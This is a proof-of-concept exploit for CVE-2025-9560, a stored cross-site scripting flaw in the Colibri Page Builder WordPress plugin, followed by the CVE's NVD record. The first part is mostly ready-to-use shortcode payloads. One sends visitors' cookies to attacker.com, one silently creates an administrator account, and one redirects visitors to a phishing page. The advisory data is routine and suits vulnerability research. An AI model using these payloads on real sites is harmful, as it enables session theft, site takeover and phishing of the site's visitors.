CVE-2025-9560

<!-- CVE-2025-9560 PoC - Stored XSS via colibri_newsletter shortcode Affected: Colibri Page Builder <= 1.0.334 Requires: Contributor-level access or above --> [colibri_newsletter title="<script>alert('XSS-'+document.cookie)</script>" button_text="Subscribe"] <!-- Alternative payloads that can be injected into shortcode attributes: --> <!-- Payload 1: Cookie stealing --> [colibri_newsletter title="<img src=x onerror=\"fetch('https://attacker.com/steal?c='+document.cookie)\">"] <!-- Payload 2: Admin account creation via AJAX --> [colibri_newsletter title="<script> var xhr = new XMLHttpRequest(); var params = 'action=createuser&user_login=hacker&[email protected]&pass=hacked123&role=administrator'; xhr.open('POST', '/wp-admin/admin-ajax.php', true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.withCredentials = true; xhr.send(params); </script>"] <!-- Payload 3: Malicious redirect --> [colibri_newsletter title="<script>window.location='https://phishing-site.com/fake-login';</script>"]

{"cve": {"id": "CVE-2025-9560", "sourceIdentifier": "[email protected]", "published": "2025-10-11T03:15:31.380", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Colibri Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's colibri_newsletter shortcode in all versions up to, and including, 1.0.334 due to insufficient input sanitization and output escaping on user supplied attributes. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/changeset/3373432/colibri-page-builder/trunk/extend-builder/shortcodes/newsletter.php", "source": "[email protected]"}, {"url": "https://wordpress.org/plugins/colibri-page-builder/#developers", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0ef1679f-44ec-448a-a77b-489ac9bfaa7a?source=cve", "source": "[email protected]"}]}}